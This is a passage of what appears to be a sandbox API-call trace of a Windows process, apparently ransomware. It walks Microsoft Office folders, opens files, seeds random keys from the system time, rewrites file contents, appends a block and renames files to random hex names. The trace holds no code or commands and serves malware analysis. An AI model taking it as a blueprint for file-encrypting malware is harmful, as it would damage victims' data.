(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9740 [0218.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9740) returned 1 [0218.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0218.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e20) returned 1 [0218.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1cdd9740 [0218.969] sprintf (in: _Dest=0x1cdd9740, _Format="%c%c" | out: _Dest="cb") returned 2 [0218.969] sprintf (in: _Dest=0x1cdd9742, _Format="%c%c" | out: _Dest="f2") returned 2 [0218.969] sprintf (in: _Dest=0x1cdd9744, _Format="%c%c" | out: _Dest="03") returned 2 [0218.969] sprintf (in: _Dest=0x1cdd9746, _Format="%c%c" | out: _Dest="c3") returned 2 [0218.969] sprintf (in: _Dest=0x1cdd9748, _Format="%c%c" | out: _Dest="22") returned 2 [0218.969] sprintf (in: _Dest=0x1cdd974a, _Format="%c%c" | out: _Dest="91") returned 2 [0218.969] sprintf (in: _Dest=0x1cdd974c, _Format="%c%c" | out: _Dest="4f") returned 2 [0218.969] sprintf (in: _Dest=0x1cdd974e, _Format="%c%c" | out: _Dest="7d") returned 2 [0218.969] sprintf (in: _Dest=0x1cdd9750, _Format="%c%c" | out: _Dest="20") returned 2 [0218.969] sprintf (in: _Dest=0x1cdd9752, _Format="%c%c" | out: _Dest="31") returned 2 [0218.969] sprintf (in: _Dest=0x1cdd9754, _Format="%c%c" | out: _Dest="49") returned 2 [0218.969] sprintf (in: _Dest=0x1cdd9756, _Format="%c%c" | out: _Dest="08") returned 2 [0218.969] sprintf (in: _Dest=0x1cdd9758, _Format="%c%c" | out: _Dest="32") returned 2 [0218.969] sprintf (in: _Dest=0x1cdd975a, _Format="%c%c" | out: _Dest="dd") returned 2 [0218.969] sprintf (in: _Dest=0x1cdd975c, _Format="%c%c" | out: _Dest="48") returned 2 [0218.969] sprintf (in: _Dest=0x1cdd975e, _Format="%c%c" | out: _Dest="d8") returned 2 [0218.969] sprintf (in: _Dest=0x1cdd9760, _Format="%c%c" | out: _Dest="3d") returned 2 [0218.969] sprintf (in: _Dest=0x1cdd9762, _Format="%c%c" | out: _Dest="9d") returned 2 [0218.969] RtlInitAnsiString (in: DestinationString=0x31d2fd08, SourceString="cbf203c322914f7d2031490832dd48d83d9d" | out: DestinationString="cbf203c322914f7d2031490832dd48d83d9d") [0218.970] RtlAnsiStringToUnicodeString (in: DestinationString=0x31d2fcd8, SourceString="cbf203c322914f7d2031490832dd48d83d9d", AllocateDestinationString=1 | out: DestinationString="cbf203c322914f7d2031490832dd48d83d9d") returned 0x0 [0218.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b8591b0 [0218.970] wcscat (in: _Dest=0x1b79e270, _Source="cbf203c32" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\cbf203c32") returned="C:\\Program Files\\Microsoft Office\\Office14\\cbf203c32" [0218.970] wcscat (in: _Dest=0x1b79e270, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\cbf203c32.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\cbf203c32.2f9b60" [0218.970] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\cbf203c32.2f9b60", NtPathName=0x31d2fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\cbf203c32.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4318bee0 Thread: id = 2555 os_tid = 0x2058 [0155.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1ce24120 [0155.479] wcscpy (in: _Dest=0x1ce24120, _Source="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES") returned="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES" [0155.479] wcscat (in: _Dest=0x1ce24120, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\" [0155.479] wcscat (in: _Dest=0x1ce24120, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*" [0155.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99ba0 [0155.479] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*", lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5aa0 [0155.480] wcscmp (_String1=".", _String2=".") returned 0 [0155.480] FindNextFileW (in: hFindFile=0x1ced5aa0, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.480] wcscmp (_String1="..", _String2=".") returned 1 [0155.480] wcscmp (_String1="..", _String2="..") returned 0 [0155.480] FindNextFileW (in: hFindFile=0x1ced5aa0, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc114b600, ftCreationTime.dwHighDateTime=0x1c307de, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc114b600, ftLastWriteTime.dwHighDateTime=0x1c307de, nFileSizeHigh=0x0, nFileSizeLow=0x1d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVSAMP.XLS", cAlternateFileName="")) returned 1 [0155.480] wcscmp (_String1="SOLVSAMP.XLS", _String2=".") returned 1 [0155.480] wcscmp (_String1="SOLVSAMP.XLS", _String2="..") returned 1 [0155.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1ced2ec0 [0155.481] wcscpy (in: _Dest=0x1ced2ec0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES") returned="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES" [0155.481] wcscat (in: _Dest=0x1ced2ec0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\" [0155.481] wcscat (in: _Dest=0x1ced2ec0, _Source="SOLVSAMP.XLS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\SOLVSAMP.XLS") returned="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\SOLVSAMP.XLS" [0158.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced2ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x53c [0158.829] FindNextFileW (in: hFindFile=0x1ced5aa0, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc114b600, ftCreationTime.dwHighDateTime=0x1c307de, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc114b600, ftLastWriteTime.dwHighDateTime=0x1c307de, nFileSizeHigh=0x0, nFileSizeLow=0x1d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVSAMP.XLS", cAlternateFileName="")) returned 0 [0158.829] FindClose (in: hFindFile=0x1ced5aa0 | out: hFindFile=0x1ced5aa0) returned 1 [0158.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99ba0) returned 1 [0158.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24120) returned 1 [0158.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a32d0) returned 1 Thread: id = 2556 os_tid = 0x205c [0155.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SegoeChess.ttf" (normalized: "c:\\program files\\microsoft office\\office14\\segoechess.ttf")) returned 0x20 [0155.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SegoeChess.ttf", dwFileAttributes=0x20) returned 1 [0155.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SegoeChess.ttf" (normalized: "c:\\program files\\microsoft office\\office14\\segoechess.ttf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1240 [0155.492] GetFileSizeEx (in: hFile=0x1240, lpFileSize=0x31eefbc0 | out: lpFileSize=0x31eefbc0*=38768) returned 1 [0155.492] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x976c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.492] ReadFile (in: hFile=0x1240, lpBuffer=0x31eefb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x31eefb88, lpOverlapped=0x0 | out: lpBuffer=0x31eefb40*, lpNumberOfBytesRead=0x31eefb88*=0x4, lpOverlapped=0x0) returned 1 [0156.292] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc020 [0156.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc170 [0156.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc200 [0156.293] NtQuerySystemTime (in: CurrentTime=0x31eefa80 | out: CurrentTime=0x31eefa80*=132462177614206000) returned 0x0 [0156.293] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x4239774b [0156.293] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x666bef [0156.293] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x2d5aa8e1 [0156.293] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0xe45623 [0156.293] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x54994c05 [0156.293] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x39e76008 [0156.293] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x61b390eb [0156.293] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x10a2266e [0156.293] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0xdd411b4 [0156.293] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x1e50ea00 [0156.293] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0xcc134af [0156.293] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x6703d703 [0156.293] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x36f5ec48 [0156.293] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x6d90e603 [0156.293] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x68c787f1 [0156.293] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x44b50d03 [0156.293] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x2cab75c4 [0156.294] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x6ffee9a4 [0156.294] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x2914aefa [0156.294] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x713c9690 [0156.294] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x2f1cdb52 [0156.294] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x190905be [0156.294] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x7d54cd7 [0156.294] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0xb3309f [0156.294] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x257662b2 [0156.294] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x2cda1ea1 [0156.294] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x37eb6cfd [0156.294] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x1cf81433 [0156.294] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x28f520ca [0156.294] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x2e2486c2 [0156.294] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x2013922c [0156.294] RtlRandomEx (in: Seed=0x31eefa70 | out: Seed=0x31eefa70) returned 0x695801e3 [0156.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc230 [0156.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce249a0 [0156.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc260 [0156.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce249a0) returned 1 [0156.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc200) returned 1 [0156.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc020) returned 1 [0156.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a0fa20 [0156.321] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.321] ReadFile (in: hFile=0x1240, lpBuffer=0x42a0fa20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x31eefae0, lpOverlapped=0x0 | out: lpBuffer=0x42a0fa20*, lpNumberOfBytesRead=0x31eefae0*=0x3c00, lpOverlapped=0x0) returned 1 [0158.092] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bcf0 [0158.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebea00 [0158.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501310 [0158.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b66670 [0158.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501310 [0158.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac16a0 [0158.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac16a0) returned 1 [0158.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebea00) returned 1 [0158.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bcf0) returned 1 [0158.097] WriteFile (hFile=0x1240, lpBuffer=0x42b66670, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x31eefae0, lpOverlapped=0x0) [0186.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b66670) returned 1 [0186.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a0fa20) returned 1 [0186.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5d2b0 [0186.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bfe0 [0186.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8687c0 [0186.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ddd0 [0186.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ddd0) returned 1 [0186.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5d2f0 [0186.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ddd0 [0186.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c090 [0186.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2c090) returned 1 [0186.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 [0186.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bfe0) returned 1 [0186.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10e) returned 0x43101fe0 [0186.889] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.889] WriteFile (in: hFile=0x1240, lpBuffer=0x43101fe0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x31eefb90, lpOverlapped=0x0 | out: lpBuffer=0x43101fe0*, lpNumberOfBytesWritten=0x31eefb90*=0x10e, lpOverlapped=0x0) returned 1 [0201.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb25d0 [0201.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb25d0) returned 1 [0201.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cdb25d0 [0201.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb25a0 [0201.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2540 [0201.027] sprintf (in: _Dest=0x1ce5c740, _Format="%c%c" | out: _Dest="09") returned 2 [0201.027] sprintf (in: _Dest=0x1ce5c742, _Format="%c%c" | out: _Dest="52") returned 2 [0201.027] sprintf (in: _Dest=0x1ce5c744, _Format="%c%c" | out: _Dest="88") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c746, _Format="%c%c" | out: _Dest="a4") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c748, _Format="%c%c" | out: _Dest="9c") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c74a, _Format="%c%c" | out: _Dest="ef") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c74c, _Format="%c%c" | out: _Dest="a2") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c74e, _Format="%c%c" | out: _Dest="a3") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c750, _Format="%c%c" | out: _Dest="b7") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c752, _Format="%c%c" | out: _Dest="b5") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c754, _Format="%c%c" | out: _Dest="d3") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c756, _Format="%c%c" | out: _Dest="53") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c758, _Format="%c%c" | out: _Dest="0d") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c75a, _Format="%c%c" | out: _Dest="97") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c75c, _Format="%c%c" | out: _Dest="ff") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c75e, _Format="%c%c" | out: _Dest="e8") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c760, _Format="%c%c" | out: _Dest="66") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c762, _Format="%c%c" | out: _Dest="17") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c764, _Format="%c%c" | out: _Dest="db") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c766, _Format="%c%c" | out: _Dest="9e") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c768, _Format="%c%c" | out: _Dest="1b") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c76a, _Format="%c%c" | out: _Dest="b2") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c76c, _Format="%c%c" | out: _Dest="4a") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c76e, _Format="%c%c" | out: _Dest="09") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c770, _Format="%c%c" | out: _Dest="1b") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c772, _Format="%c%c" | out: _Dest="7c") returned 2 [0201.028] sprintf (in: _Dest=0x1ce5c774, _Format="%c%c" | out: _Dest="a8") returned 2 [0201.029] sprintf (in: _Dest=0x1ce5c776, _Format="%c%c" | out: _Dest="a9") returned 2 [0201.029] RtlInitAnsiString (in: DestinationString=0x31eefc08, SourceString="095288a49cefa2a3b7b5d3530d97ffe86617db9e1bb24a091b7ca8a9" | out: DestinationString="095288a49cefa2a3b7b5d3530d97ffe86617db9e1bb24a091b7ca8a9") [0201.029] RtlAnsiStringToUnicodeString (in: DestinationString=0x31eefbd8, SourceString="095288a49cefa2a3b7b5d3530d97ffe86617db9e1bb24a091b7ca8a9", AllocateDestinationString=1 | out: DestinationString="095288a49cefa2a3b7b5d3530d97ffe86617db9e1bb24a091b7ca8a9") returned 0x0 [0201.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85ef90 [0201.029] wcscat (in: _Dest=0x43106b10, _Source="095288a49cefa2" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\095288a49cefa2") returned="C:\\Program Files\\Microsoft Office\\Office14\\095288a49cefa2" [0201.029] wcscat (in: _Dest=0x43106b10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\095288a49cefa2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\095288a49cefa2.2f9b60" [0201.029] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\095288a49cefa2.2f9b60", NtPathName=0x31eefbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\095288a49cefa2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431ebd20 Thread: id = 2557 os_tid = 0x2060 [0155.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml")) returned 0x20 [0155.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml", dwFileAttributes=0x20) returned 1 [0155.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x123c [0155.497] GetFileSizeEx (in: hFile=0x123c, lpFileSize=0x31f9fb00 | out: lpFileSize=0x31f9fb00*=103) returned 1 [0155.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaee0 [0155.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaf70 [0155.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddafa0 [0155.498] NtQuerySystemTime (in: CurrentTime=0x31f9f9c0 | out: CurrentTime=0x31f9f9c0*=132462177606250000) returned 0x0 [0155.498] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x1086e8a1 [0155.498] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x2935f761 [0155.498] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x70ce7ed4 [0155.498] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x4c6c59b2 [0155.498] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x370fc461 [0155.498] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x6c1ca564 [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x1c5c58a [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x3949cf31 [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x79e7bc68 [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x7cf20e92 [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x6efe5845 [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x73fc7821 [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x2061b135 [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x45a979c6 [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0xc4e5790 [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x7028fce6 [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x35fadf6a [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x5b04ab15 [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x434b96af [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x48d094d3 [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x438bcf0b [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x632f81ee [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x37054bac [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x31250b05 [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x5182c6ac [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x7841480a [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x50eba87e [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x16157cd2 [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: 